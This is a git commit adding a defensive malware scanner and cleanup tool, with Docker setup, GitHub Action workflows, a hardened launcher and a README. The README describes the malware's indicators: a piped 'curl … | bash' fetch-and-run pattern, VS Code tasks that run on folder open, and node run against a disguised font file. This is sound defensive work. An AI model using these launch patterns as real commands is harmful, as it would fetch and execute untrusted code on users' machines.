Add initial implementation of PolinRider malware scanner

- Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner.
- Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management.
- Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions.
- Implemented a README.md to provide documentation on usage, features, and setup instructions.
- Included necessary scripts for building the action and handling security measures during execution.
- Established a structured directory for reports and workspace management within Docker.
- Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware.
This commit is contained in:
2026-08-11 13:59:03 +02:00
commit 39f03add71
41 changed files with 17156 additions and 0 deletions
+56
View File
@@ -0,0 +1,56 @@
# Copy to .env and fill in. NEVER commit your real .env.
# cp .env.example .env
#
# Docker Compose auto-loads .env for variable substitution. For direct
# `node bin/polinrider.js` runs, export these in your shell instead.
# ─── Required ──────────────────────────────────────────────────────────────────
# GitHub Personal Access Token (classic) with scopes: repo (full) + read:org.
GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# Target account — set EXACTLY ONE of the following (comment out the other).
# • GH_ORG → scans every repo in the organization.
# • GH_USER → scans every repo you OWN under your personal account.
# Your GitHub organization name (e.g. mycompany):
GH_ORG=your-org-name
# Your personal GitHub username (uncomment to clean personal repos instead):
# GH_USER=your-username
# ─── Recommended for a first run ─────────────────────────────────────────────────
# Pilot against specific repo(s) before scanning the whole account. Comma-separated.
# Each entry is "name" (the GH_ORG/GH_USER owner is prefixed) or "owner/name".
# Leave empty to scan the entire account.
# GH_REPO=my-first-repo
GH_REPO=
# DRY_RUN=true scans + reports the planned surgical changes but writes nothing
# and opens no PRs. Start with true; set to false only once you're satisfied.
DRY_RUN=true
# Auto-merge the cleanup PRs (default false). Respects branch protection: PRs that
# require reviews/checks are left open and reported, not bypassed. Needs a token
# with merge rights on the repos.
AUTO_MERGE=false
# Merge method when AUTO_MERGE=true: squash | merge | rebase.
# MERGE_METHOD=squash
# ─── Optional (sane defaults — usually leave unset) ──────────────────────────────
# Where JSON + Markdown run reports are written (the container mounts ./reports
# here). Set empty to disable report files.
# REPORTS_DIR=reports
# Where repos are cloned (the container provides /workspace via tmpfs).
# WORKSPACE=/workspace
# Where repos are cloned (the container provides /workspace via tmpfs).
# WORKSPACE=/workspace
# Branch name prefix for the cleanup PRs.
# BRANCH_PREFIX=fix/polinrider-cleanup
# Extra hardening: freeze built-in prototypes (--frozen-intrinsics). Experimental;
# leave off unless you've confirmed it doesn't break the run.
# POLINRIDER_FROZEN=1
+62
View File
@@ -0,0 +1,62 @@
name: CI
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 24
- run: npm ci
- name: Unit tests
run: npm test
- name: Unit tests (hardened)
run: npm run test:hardened
bundle:
# The committed dist/ci.mjs is what the action runs (no install step at
# action runtime), so it must always match src/. Rebuild and fail on drift.
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 24
- run: npm ci
- name: Rebuild action bundle
run: npm run build:action
- name: Verify dist/ is up to date
run: |
if ! git diff --quiet -- dist/; then
echo "::error::dist/ is stale. Run 'npm run build:action' and commit the result."
git --no-pager diff -- dist/
exit 1
fi
self-scan:
# Dogfood + self-protection: scan our OWN code for PolinRider malware on
# every push/PR. We exclude only the files that legitimately contain
# signature strings — the signature catalog, the payload fixtures, and the
# bundle that inlines them. Everything else (real source, bin/, scripts/,
# configs) is scanned for real, so an actual infection here would fail CI.
runs-on: ubuntu-latest
needs: bundle
steps:
- uses: actions/checkout@v4
- uses: ./
with:
mode: check
comment-on-pr: false
exclude: |
src/signatures.js
test/**
dist/**
+50
View File
@@ -0,0 +1,50 @@
name: Release
# Tag a release (e.g. `git tag v1.2.0 && git push --tags`) to:
# 1. verify the committed bundle is fresh,
# 2. create a GitHub Release, and
# 3. move the major tag (e.g. v1) to this commit so consumers can pin `@v1`.
on:
push:
tags:
- "v*.*.*"
permissions:
contents: write
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: actions/setup-node@v4
with:
node-version: 24
- run: npm ci
- name: Tests
run: npm test
- name: Verify committed bundle is fresh
run: |
npm run build:action
if ! git diff --quiet -- dist/; then
echo "::error::dist/ does not match src/. Build and commit dist/ before tagging."
exit 1
fi
- name: Create GitHub Release
env:
GH_TOKEN: ${{ github.token }}
run: gh release create "$GITHUB_REF_NAME" --title "$GITHUB_REF_NAME" --generate-notes
- name: Move major tag (vN → this commit)
run: |
MAJOR="${GITHUB_REF_NAME%%.*}" # v1.2.0 -> v1
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git tag -f "$MAJOR"
git push -f origin "refs/tags/$MAJOR"
+16
View File
@@ -0,0 +1,16 @@
node_modules/
# NOTE: dist/ is intentionally committed — it is the GitHub Action's runtime
# entrypoint (dist/ci.mjs), built from src/ci.js. Do not ignore it.
# Secrets — never commit. (.env.example is the committed template.)
.env
.env.local
.env.*.local
.env.production
.env.development
# Local clone workspace / reports
/workspace/
/reports/
+3
View File
@@ -0,0 +1,3 @@
# Never run dependency lifecycle scripts when installing this tool's own deps.
# Defense-in-depth: a compromised transitive dep cannot execute install hooks.
ignore-scripts=true
+39
View File
@@ -0,0 +1,39 @@
FROM node:20-slim
# Install git, gh CLI, bash, curl, ca-certs
RUN apt-get update && apt-get install -y \
git \
curl \
ca-certificates \
gnupg \
--no-install-recommends \
&& mkdir -p /etc/apt/keyrings \
&& curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \
| gpg --dearmor -o /etc/apt/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
> /etc/apt/sources.list.d/github-cli.list \
&& apt-get update \
&& apt-get install -y gh \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Create non-root user
RUN groupadd --gid 1001 scanner \
&& useradd --uid 1001 --gid scanner --shell /bin/bash --create-home scanner
# App directory owned by non-root user
WORKDIR /app
COPY --chown=scanner:scanner . .
# Install Node deps. .npmrc sets ignore-scripts=true, so no dependency lifecycle
# scripts run during install (defense-in-depth). --ignore-scripts is explicit too.
RUN npm ci --omit=dev --ignore-scripts
# Repos will be cloned here at runtime (tmpfs or volume)
RUN mkdir -p /workspace && chown scanner:scanner /workspace
# Switch to non-root
USER scanner
# Run via the hardened launcher (applies --disallow-code-generation-from-strings).
ENTRYPOINT ["node", "bin/polinrider.js"]
+385
View File
@@ -0,0 +1,385 @@
# PolinRider Org Cleanup Tool
Scans every repo in a GitHub org for PolinRider malware, removes payloads,
and opens a PR per infected repo — all inside an isolated Docker container.
> Want to scan a **single repo inside CI** instead of sweeping a whole org?
> Use the [**GitHub Action**](#use-as-a-github-action) — it reuses the same
> detection engine to fail a check, auto-clean, or open a cleanup PR.
## Contents
- [What it does](#what-it-does)
- [Use as a GitHub Action](#use-as-a-github-action)
- [Modes](#modes)
- [Enforce it (block infected merges)](#enforce-it-block-infected-merges)
- [Permissions](#permissions)
- [Reporting](#reporting)
- [Excluding known-legit files](#excluding-known-legit-files-and-scanning-the-scanner)
- [Inputs](#inputs)
- [Notes & limits](#notes--limits)
- [Prerequisites](#prerequisites)
- [Setup](#setup)
- [Running](#running)
- [Security design](#security-design)
- [Runtime hardening](#runtime-hardening)
- [Options](#options)
- [PR branch protection](#pr-branch-protection)
- [After merging PRs](#after-merging-prs)
- [File structure](#file-structure)
## What it does
For each repo in your org:
1. **Clones** the default branch (shallow, `--depth=1`, git hooks disabled)
2. **Scans in-process** — reads files as inert text/bytes and pattern-matches known PolinRider signatures. It **never executes** the files it scans (see [Runtime hardening](#runtime-hardening)). Detection is _content-confirmed_: a repo is marked infected only when a real signature matches.
3. **Surgically remediates** infected repos — removing only what is confirmed malicious and preserving legitimate code, tasks, fonts, and configs:
- **Strips** the appended obfuscated payload (original + rotated variants) from any `.js/.ts/.mjs` file (config files, `App.js`, `vite.config.js`, …), keeping everything before the payload byte-for-byte
- **Removes the entire `.vscode` directory** when any task/launch entry is malicious — `curl … | bash`, `runOn: folderOpen` auto-runs, C2 hosts, or running an interpreter against a font/asset (e.g. `node ./public/fonts/x.woff2`)
- **Removes font carriers strategically.** A font is a _confirmed carrier_ only when it is unreferenced, fails structural font validation (no valid magic / table directory — real fonts, including commercial `.otf` files with embedded license URLs and binary blobs, are trusted), _and_ contains an appended code payload. When a carrier is found, the scanner removes the carrier plus the whole Font-Awesome-named disguise set (`fa-brands/solid/regular-…`) and its `README.md`, while **preserving clean, non-`fa-` fonts in the same directory** (only the leaf `fonts/` dir is removed if nothing clean remains). `fa-`-named fonts with **no** payload are flagged `suspicious` for manual review — never auto-removed.
- **Deletes** `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `branch_structure.json`
- **Fixes** `.gitignore` (removes all injected lines — `config.bat`, `temp_*.bat`, `branch_structure.json` — re-adds `.env*` patterns) and untracks committed `.env` files
- **Flags for manual review** (never auto-edits): impostor npm dependencies, fetch-and-exec lifecycle scripts, and unknown-but-obfuscated appended code
4. **Opens a PR** on a new branch with a precise summary of every change — your branch protection rules apply, nothing merges automatically
---
## Use as a GitHub Action
The same engine is published as a reusable Action that scans the repository being
built — no clone, no org token. Drop it into any workflow:
```yaml
# .github/workflows/malware-scan.yml
name: PolinRider scan
on: [pull_request]
permissions:
contents: read
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: check # check | fix | pr
```
### Modes
| `mode` | What it does | Typical trigger |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- |
| `check` _(default)_ | Scan only. Exits non-zero when malware is found so a **required status check** blocks the merge. No token needed. | `pull_request` |
| `fix` | Surgically cleans the working tree. With `commit: true` it also commits + pushes the fix back to the branch (push events only). | `push` |
| `pr` | Cleans on a new branch and opens a cleanup PR (optionally auto-merged). Works where commit-back can't push (fork PRs, protected branches). | `schedule` / `workflow_dispatch` |
Ready-to-copy workflows live in [`examples/`](examples/).
### Enforce it (block infected merges)
`check` exits `1` on a confirmed infection. To turn that into a merge gate, add the
job as a **required status check**: repo → Settings → Branches (or Rulesets) →
require the `scan` job to pass. PRs then can't merge while malware is detected.
### Permissions
Grant the least your mode needs:
| Mode / feature | Required `permissions:` |
| ----------------------- | ------------------------------------------ |
| `check` (no PR comment) | `contents: read` |
| PR comment (any mode) | `pull-requests: write` |
| `fix` + `commit: true` | `contents: write` |
| `pr` | `contents: write` + `pull-requests: write` |
| `sarif-file` upload | `security-events: write` |
### Reporting
Every run writes a Markdown report to the **job summary**, emits inline
**annotations** on the PR diff for each finding, and — on `pull_request` events with
`comment-on-pr: true` (default) — posts the report as a **PR comment** (needs
`pull-requests: write`; skipped with a warning otherwise). Set `sarif-file` to also
emit a SARIF report for the **Security** tab:
```yaml
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: check
sarif-file: polinrider.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: polinrider.sarif
```
### Excluding known-legit files (and scanning the scanner)
Some repos legitimately contain content that looks like a payload — security
tooling, malware test fixtures, vendored bundles. Use `exclude` to skip those
paths so real infections elsewhere still fail the check:
```yaml
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: check
exclude: |
test/fixtures/**
vendor/**
```
This is how this repo scans **itself** in CI: it excludes only its signature
catalog, payload fixtures, and built bundle (`src/signatures.js`, `test/**`,
`dist/**`) — everything else (real source, configs, `bin/`) is scanned for real,
so an actual infection here would fail the build. Keep the exclude list as tight
as possible; anything excluded is a blind spot.
### Inputs
| Input | Default | Description |
| --------------- | ------------------------ | ------------------------------------------------------------------------- |
| `mode` | `check` | `check` · `fix` · `pr` |
| `path` | `.` | Directory to scan (relative to the workspace) |
| `exclude` | _(none)_ | Comma/newline-separated paths or globs to skip, e.g. `test/**, vendor/**` |
| `token` | `${{ github.token }}` | Token for `pr` mode, `fix`+`commit`, and PR comments |
| `fail-on` | `infected` | Severity that fails the job: `infected` · `suspicious` · `never` |
| `commit` | `false` | `fix` mode: commit + push the cleanup back (push events) |
| `comment-on-pr` | `true` | Post the report as a PR comment on `pull_request` events |
| `sarif-file` | _(off)_ | Write a SARIF report to this path |
| `dry-run` | `false` | Plan changes without writing/pushing |
| `auto-merge` | `false` | `pr` mode: auto-merge (respects branch protection) |
| `merge-method` | `squash` | `squash` · `merge` · `rebase` |
| `branch-prefix` | `fix/polinrider-cleanup` | `pr` mode branch prefix |
Several inputs also read a legacy **env var** as a fallback (`DRY_RUN`,
`AUTO_MERGE`, `MERGE_METHOD`, `BRANCH_PREFIX`, `POLINRIDER_EXCLUDE`, `SARIF_FILE`),
so you can set them in a workflow/job `env:` block instead of `with:` — handy for
sharing config across steps. An explicit `with:` value always wins. For a custom
token use `with: token:` (it defaults to `${{ github.token }}`):
```yaml
jobs:
scan:
runs-on: ubuntu-latest
env:
AUTO_MERGE: "true"
MERGE_METHOD: rebase
steps:
- uses: actions/checkout@v4
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: pr
token: ${{ secrets.GITHUB_TOKEN }}
```
**Outputs:** `severity`, `infected`, `findings-count`, `changed`, `remediated`,
`pr-url`, `sarif-file`.
### Notes & limits
- **Pin for security.** `@v1` tracks the latest v1.x; pin a full SHA
(`@<commit-sha>`) if you want immutability.
- **`fix` + `commit` is push-event only.** On `pull_request` it's skipped (detached
HEAD; fork PRs can't be pushed) — use `mode: pr` there. Commit-back uses the
default `GITHUB_TOKEN`, whose pushes don't retrigger workflows (no loop).
- Only **content-confirmed** infections fail by default; impostor deps and
fetch-and-exec scripts are flagged for manual review and (in `fix`/`pr`) still
fail the check since they can't be auto-removed.
---
## Prerequisites
- [Docker Desktop](https://www.docker.com/products/docker-desktop/) (or Docker Engine + Compose v2)
- A GitHub **Personal Access Token (classic)** with these scopes:
- `repo` (full)
- `read:org`
---
## Setup
### 1. Clone this tool
```bash
git clone <this-repo>
cd polinrider-cleanup
```
### 2. Create your `.env` file (never committed)
```bash
cp .env.example .env
```
Edit `.env`:
```env
GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx
GH_ORG=your-org-name # an organization…
# GH_USER=your-username # …OR a personal account (set exactly one)
DRY_RUN=false
```
> **DRY_RUN=true** will scan and remediate locally but skip pushing and PR creation.
> Use this first to verify it does what you expect.
### 3. Build the container
```bash
docker compose build
```
---
## Running
### Dry run first (recommended)
```bash
DRY_RUN=true docker compose run --rm polinrider-cleanup
```
Check the output — it will show every infected file and what would be removed,
without touching GitHub.
### Live run
```bash
docker compose run --rm polinrider-cleanup
```
The tool will print a summary at the end listing every PR URL opened.
---
## Security design
| Concern | Mitigation |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| Executing scanned malware | Files read as inert text/bytes; no `require`/`eval`/`exec` of targets; codegen disabled; subprocess allowlist (see below) |
| Token exposure | Passed via env var only, never baked into image; injected only for `gh` |
| Host disk access | Repos cloned to `tmpfs` (RAM only, wiped on exit) |
| Root in container | Non-root user `scanner` (UID 1001) |
| Container capabilities | All Linux caps dropped (`cap_drop: ALL`) |
| Writable fs | Root fs read-only; only `/workspace` and `/tmp` writable via tmpfs |
| Resource abuse | CPU and memory limits set in `docker-compose.yml` |
---
## Runtime hardening
The scanner only ever **reads** target files as text/bytes — reading a file never
executes it. On top of that architectural guarantee, the tool is hardened in
layers so the obfuscated payload cannot run even by accident:
- **Subprocess allowlist** — only `git` and `gh` may be spawned, with an
allowlisted set of subcommands. `node`, `npm`, `npx`, `bash`, `sh`, `deno`,
`python`, etc. are rejected, so a `node -e` / `bash -c` style payload can never
be launched. Git runs with hooks disabled (`core.hooksPath`), system/global
config ignored, and `--no-verify`.
- **Code generation disabled** — the launcher (`bin/polinrider.js`) starts Node
with `--disallow-code-generation-from-strings`, so `eval()` and `new Function()`
throw.
- **In-code guards** — `src/safety.js` (imported first) also neutralizes `eval`,
the `Function` family, `require('node:vm')`, and `process.binding`, as a
fallback when the flag isn't present.
- **No install scripts** — `.npmrc` sets `ignore-scripts=true`; the tool never
runs `npm install` or a build in a target repo.
- **Container** — non-root, all Linux capabilities dropped, read-only root fs.
> The Node permission model (`--permission`) is intentionally not used: the tool
> must spawn `git`/`gh`, which would require `--allow-child-process` (Node warns
> this invalidates the model), so it adds little over the layers above.
Run the tests, including a hardened pass that runs every test with codegen disabled:
```bash
npm test
npm run test:hardened
```
---
## Options
| Env var | Default | Description |
| --------------- | ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `GH_TOKEN` | required | GitHub PAT |
| `GH_ORG` | required\* | Organization name. Scans every repo in the org. |
| `GH_USER` | required\* | Personal username. Scans every repo you own (`affiliation=owner`). |
| `GH_REPO` | _(all repos)_ | Scope to specific repo(s), comma-separated. Each is `name` (account owner prefixed) or `owner/name`. Skips the account-wide listing — use it to pilot one repo first. |
| `DRY_RUN` | `false` | Skip push and PR |
| `AUTO_MERGE` | `false` | Auto-merge each cleanup PR after opening it. Respects branch protection (blocked PRs stay open and are reported). |
| `MERGE_METHOD` | `squash` | Merge method when `AUTO_MERGE=true`: `squash`, `merge`, or `rebase`. |
| `REPORTS_DIR` | `reports` | Where JSON + Markdown run reports are written. Set empty to disable. |
| `WORKSPACE` | `/workspace` | Where repos are cloned |
| `BRANCH_PREFIX` | `fix/polinrider-cleanup` | PR branch name prefix |
\* Set **exactly one** of `GH_ORG` or `GH_USER` — not both, not neither.
### Auto-merge
With `AUTO_MERGE=true`, after each PR is opened the tool runs `gh pr merge --<method> --delete-branch`. It **respects branch protection** — a repo that requires reviews or passing checks is left open and listed in the summary (and report) as "auto-merge blocked"; nothing is bypassed. The token must have merge rights on the repo.
### Reports
Every run writes `polinrider-<timestamp>.json` + `.md` (and `latest.json` / `latest.md`) to `REPORTS_DIR` (the mounted `./reports` volume in Docker). The files are rewritten after each repo, so you get a durable, auditable trace — including each repo's findings, what was removed/cleaned, the PR link, and merge status — instead of relying on scrollback. The Markdown includes a clickable **Repository | Pull request | Status** table.
---
## PR branch protection
Because your org has branch protection enforced, the tool:
- Creates a **new branch** per repo (never pushes to `main` or `master` directly)
- Opens a PR for review — a human merges it
- PR body explains exactly what was changed and why
---
## After merging PRs
1. Notify affected developers to check their machines for the initial dropper
2. Rotate any secrets that may have been exposed via committed `.env` files
3. Check npm global packages: `npm list -g --depth=0`
4. Check VS Code extensions for anything unfamiliar
5. Revoke and regenerate any PATs for accounts whose machines were compromised
---
## File structure
```
polinrider-remover/
├── Dockerfile
├── docker-compose.yml
├── package.json / .npmrc
├── action.yml # GitHub Action metadata (uses dist/ci.mjs)
├── dist/
│ └── ci.mjs # bundled Action entrypoint (built from src/ci.js — committed)
├── examples/ # ready-to-copy consumer workflows (check / fix / pr)
├── scripts/
│ └── build-action.mjs # esbuild bundler for the Action
├── bin/
│ └── polinrider.js # hardened launcher (applies V8 flags, then runs src/index.js)
├── src/
│ ├── index.js # org-sweep orchestrator: list org repos → clone → scan → remediate → PR
│ ├── ci.js # GitHub Action frontend: scan the checked-out repo → check/fix/pr
│ ├── safety.js # runtime guards (eval/Function/vm/process.binding) — imported first
│ ├── safe-exec.js # subprocess allowlist (git/gh only, hooks disabled)
│ ├── signatures.js # IOC catalog (payload variants, C2 hosts, font magic, impostor deps)
│ ├── scanner.js # content-confirmed detection → Findings report
│ ├── exclude.js # glob matcher for the scan `exclude` option
│ ├── remediator.js # surgical removal driven by Findings
│ ├── sarif.js # Findings → SARIF 2.1.0 (for code-scanning upload)
│ ├── jsonc.js # tolerant JSONC parser + array splicer (no eval)
│ ├── fonts.js # structural font validation + reference analysis
│ ├── walk.js # symlink-safe file walker
│ └── report.js # console + Markdown PR-body rendering
└── test/ # node:test specs + fixtures
```
> **Two frontends, one engine.** `src/index.js` (org sweep, Docker) and `src/ci.js`
> (GitHub Action) both drive the same `scanner.js` + `remediator.js` + signatures —
> detection logic is defined once.
+76
View File
@@ -0,0 +1,76 @@
name: "PolinRider Malware Scanner"
description: "Scan a repository for PolinRider malware — fail the check, auto-clean the working tree, or open a cleanup PR."
author: "RMSoft-ltd"
branding:
icon: "shield"
color: "red"
inputs:
mode:
description: "What to do on detection: check (scan + fail), fix (clean the working tree), or pr (open a cleanup PR)."
required: false
default: "check"
path:
description: "Directory to scan, relative to the workspace root."
required: false
default: "."
exclude:
description: 'Comma/newline-separated paths or globs to skip (repo-relative), e.g. "test/**, vendor/**". Useful to ignore files that legitimately contain malware signatures.'
required: false
default: ""
token:
description: "GitHub token used for pr mode, fix + commit, and PR comments."
required: false
default: ${{ github.token }}
fail-on:
description: "Severity that fails the job: infected | suspicious | never."
required: false
default: "infected"
commit:
description: "In fix mode, commit and push the cleaned files back to the branch (push events only)."
required: false
default: "false"
comment-on-pr:
description: "Post the scan report as a comment on pull_request events (needs pull-requests: write)."
required: false
default: "true"
sarif-file:
description: "Write a SARIF report to this path for upload to GitHub code scanning (empty = skip)."
required: false
default: ""
dry-run:
# No action default on purpose: omitting it lets the DRY_RUN env var apply.
# Effective default false.
description: "Scan and plan remediation without writing files, pushing, or opening PRs. Also reads the DRY_RUN env var. Default: false."
required: false
auto-merge:
# No action default on purpose: omitting it lets the AUTO_MERGE env var apply.
description: "In pr mode, auto-merge the cleanup PR (respects branch protection). Also reads the AUTO_MERGE env var. Default: false."
required: false
merge-method:
description: "Merge method when auto-merge is on: squash | merge | rebase. Also reads the MERGE_METHOD env var. Default: squash."
required: false
branch-prefix:
description: "Branch name prefix for pr mode. Also reads the BRANCH_PREFIX env var. Default: fix/polinrider-cleanup."
required: false
outputs:
severity:
description: "clean | suspicious | infected."
infected:
description: "true when a confirmed PolinRider payload was found."
findings-count:
description: "Number of findings."
changed:
description: "true when files were modified or deleted (fix/pr modes)."
remediated:
description: "true when any file was cleaned or removed."
pr-url:
description: "URL of the cleanup PR (pr mode)."
sarif-file:
description: "Path to the written SARIF report, if any."
runs:
using: "node24"
main: "dist/ci.mjs"
+50
View File
@@ -0,0 +1,50 @@
#!/usr/bin/env node
/**
* Hardened launcher.
*
* A `#!/usr/bin/env node` shebang cannot self-apply V8 flags after the process
* has already started, so this launcher re-spawns Node WITH the hardening flags
* and then runs the orchestrator. The flags are also propagated via NODE_OPTIONS
* so they would inherit to any further child (there are none — the subprocess
* allowlist forbids spawning node — but it keeps the guarantee).
*
* --disallow-code-generation-from-strings → eval() / new Function() throw
* --frozen-intrinsics (opt-in: POLINRIDER_FROZEN=1) → freeze built-in protos
*/
import { spawnSync } from "node:child_process";
import { fileURLToPath } from "node:url";
import path from "node:path";
const CODEGEN_FLAG = "--disallow-code-generation-from-strings";
const FLAGS = [CODEGEN_FLAG];
if (process.env.POLINRIDER_FROZEN === "1") FLAGS.push("--frozen-intrinsics");
const here = path.dirname(fileURLToPath(import.meta.url));
const entry = path.resolve(here, "../src/index.js");
const flagsActive =
process.execArgv.includes(CODEGEN_FLAG) ||
(process.env.NODE_OPTIONS || "").includes(CODEGEN_FLAG);
if (flagsActive) {
// Flags are already in effect for this process — run the orchestrator here.
const mod = await import(entry);
await mod.main().catch((err) => {
console.error("Fatal error:", err.message);
process.exit(2);
});
} else {
// Re-spawn Node with the flags applied at process start, running src/index.js
// directly (it auto-runs main() when invoked as the entry point).
const nodeOptions = [process.env.NODE_OPTIONS, CODEGEN_FLAG].filter(Boolean).join(" ");
const child = spawnSync(process.execPath, [...FLAGS, entry, ...process.argv.slice(2)], {
stdio: "inherit",
env: { ...process.env, NODE_OPTIONS: nodeOptions, POLINRIDER_HARDENED: "1" },
});
if (child.error) {
console.error("Failed to launch hardened process:", child.error.message);
process.exit(2);
}
process.exit(child.status ?? 1);
}
Vendored
+11041
View File
File diff suppressed because it is too large Load Diff
+46
View File
@@ -0,0 +1,46 @@
services:
polinrider-cleanup:
build: .
image: polinrider-cleanup:latest
container_name: polinrider-cleanup
environment:
# Pass your GitHub PAT (needs repo + org:read scopes)
# Set this in your shell: export GH_TOKEN=ghp_...
- GH_TOKEN=${GH_TOKEN}
- GITHUB_TOKEN=${GH_TOKEN} # gh CLI reads either
# Target account — set EXACTLY ONE (comment out the other):
- GH_ORG=${GH_ORG:-} # an org name, e.g. mycompany
- GH_USER=${GH_USER:-} # OR your personal username (scans repos you own)
- DRY_RUN=${DRY_RUN:-false} # set to "true" to skip PR creation
- GH_REPO=${GH_REPO:-} # optional: scope to one/few repos (comma-separated) for a pilot
- AUTO_MERGE=${AUTO_MERGE:-false} # optional: auto-merge cleanup PRs (respects branch protection)
- MERGE_METHOD=${MERGE_METHOD:-squash} # squash | merge | rebase
- REPORTS_DIR=${REPORTS_DIR:-reports} # JSON + Markdown run reports land here (mounted below)
# JSON + Markdown scan/remediation reports are written here (host ./reports).
volumes:
- ./reports:/app/reports
# No network access except github.com — drop everything else
# (requires Docker with custom network + external DNS)
# For stricter isolation remove this and use default bridge
network_mode: bridge
# Drop all Linux capabilities — scanner needs none
cap_drop:
- ALL
# Read-only root fs — only /workspace and /app/reports are writable
read_only: true
tmpfs:
- /workspace:exec,mode=1777,size=2g
- /tmp:mode=1777,size=128m
- /home/scanner:mode=755,size=64m
# Resource limits
deploy:
resources:
limits:
cpus: "2"
memory: 3G
+18
View File
@@ -0,0 +1,18 @@
# Block infected merges. Add `scan` as a REQUIRED status check in your branch
# protection / rulesets so a PR can't merge while malware is detected.
name: PolinRider scan
on: [pull_request]
permissions:
contents: read
pull-requests: write # only needed for the PR comment; drop if comment-on-pr: false
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: check
# token defaults to ${{ github.token }} — only needed here for the PR comment
+21
View File
@@ -0,0 +1,21 @@
# Auto-clean pushes to the default branch and commit the fix back.
# commit-back works on push events (not pull_request — see README). Pushes made
# with the default GITHUB_TOKEN do NOT retrigger workflows, so there's no loop.
name: PolinRider auto-clean
on:
push:
branches: [main]
permissions:
contents: write # required to commit the cleanup back
jobs:
clean:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: fix
commit: true
token: ${{ secrets.GITHUB_TOKEN }}
+23
View File
@@ -0,0 +1,23 @@
# Scan the default branch on a schedule and open a cleanup PR if anything is
# found. Good for fork PRs / protected branches where commit-back can't push.
name: PolinRider weekly scan
on:
schedule:
- cron: "0 6 * * 1" # Mondays 06:00 UTC
workflow_dispatch:
permissions:
contents: write # create the cleanup branch
pull-requests: write # open the PR
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: RMSoft-ltd/polinrider-cleanup@v1
with:
mode: pr
token: ${{ secrets.GITHUB_TOKEN }}
# auto-merge: true # respects branch protection
# merge-method: squash
+1018
View File
File diff suppressed because it is too large Load Diff
+30
View File
@@ -0,0 +1,30 @@
{
"name": "polinrider-remover",
"version": "2.0.0",
"description": "Hardened CLI that scans a GitHub org for PolinRider malware and opens surgical cleanup PRs. Reads target files as inert text only — never executes them.",
"type": "module",
"bin": {
"polinrider": "bin/polinrider.js"
},
"main": "src/index.js",
"engines": {
"node": ">=20"
},
"scripts": {
"start": "node bin/polinrider.js",
"scan": "node bin/polinrider.js",
"test": "node --test",
"test:hardened": "node --disallow-code-generation-from-strings --test",
"build:action": "node scripts/build-action.mjs"
},
"dependencies": {
"chalk": "^5.3.0",
"execa": "^9.5.2",
"ora": "^8.1.1"
},
"devDependencies": {
"esbuild": "^0.25.0"
},
"license": "MIT",
"private": true
}
+31
View File
@@ -0,0 +1,31 @@
/**
* Bundle the GitHub Action entrypoint (src/ci.js) into a single self-contained
* dist/ci.mjs that the action runner executes with no install step.
*
* The banner shims `require`/`__dirname`/`__filename` because some transitive
* CJS deps of execa (e.g. cross-spawn) call `require('child_process')`, which
* does not exist in an ESM bundle without this.
*/
import { build } from "esbuild";
const banner = [
"import { createRequire as __createRequire } from 'node:module';",
"import { fileURLToPath as __fileURLToPath } from 'node:url';",
"import { dirname as __pathDirname } from 'node:path';",
"const require = __createRequire(import.meta.url);",
"const __filename = __fileURLToPath(import.meta.url);",
"const __dirname = __pathDirname(__filename);",
].join("\n");
await build({
entryPoints: ["src/ci.js"],
bundle: true,
platform: "node",
format: "esm",
target: "node20",
outfile: "dist/ci.mjs",
banner: { js: banner },
legalComments: "none",
});
console.log("built dist/ci.mjs");
+536
View File
@@ -0,0 +1,536 @@
import "./safety.js"; // MUST be first — neutralizes eval/Function/vm at import time.
/**
* GitHub Action frontend (CI mode).
*
* Scans the ALREADY-CHECKED-OUT repository (no clone, no org listing) and, based
* on `mode`, fails the check, cleans the working tree, or opens a cleanup PR.
* Reuses the same engine as the org-sweep CLI — scanRepo() + remediate() + the
* report builders — all of which operate on a plain local directory.
*
* mode=check Scan only. Exit non-zero when severity meets `fail-on` so a
* required status check blocks an infected merge. No token needed.
* mode=fix Scan → surgically remediate the working tree. With commit=true
* (and on a push event) also commit + push the cleanup back.
* mode=pr Scan → remediate → open a cleanup PR (mirrors the CLI's openPR).
*
* Inputs arrive as INPUT_* env vars (GitHub Actions convention). Each setting
* also falls back to its legacy env name (GH_TOKEN, DRY_RUN, AUTO_MERGE,
* MERGE_METHOD, BRANCH_PREFIX) so consumers can configure via `with:` or `env:`.
*
* SAFETY: no target file content is ever require()'d/import()'d/eval()'d; every
* subprocess still goes through src/safe-exec.js (git/gh only).
*/
import fs from "node:fs";
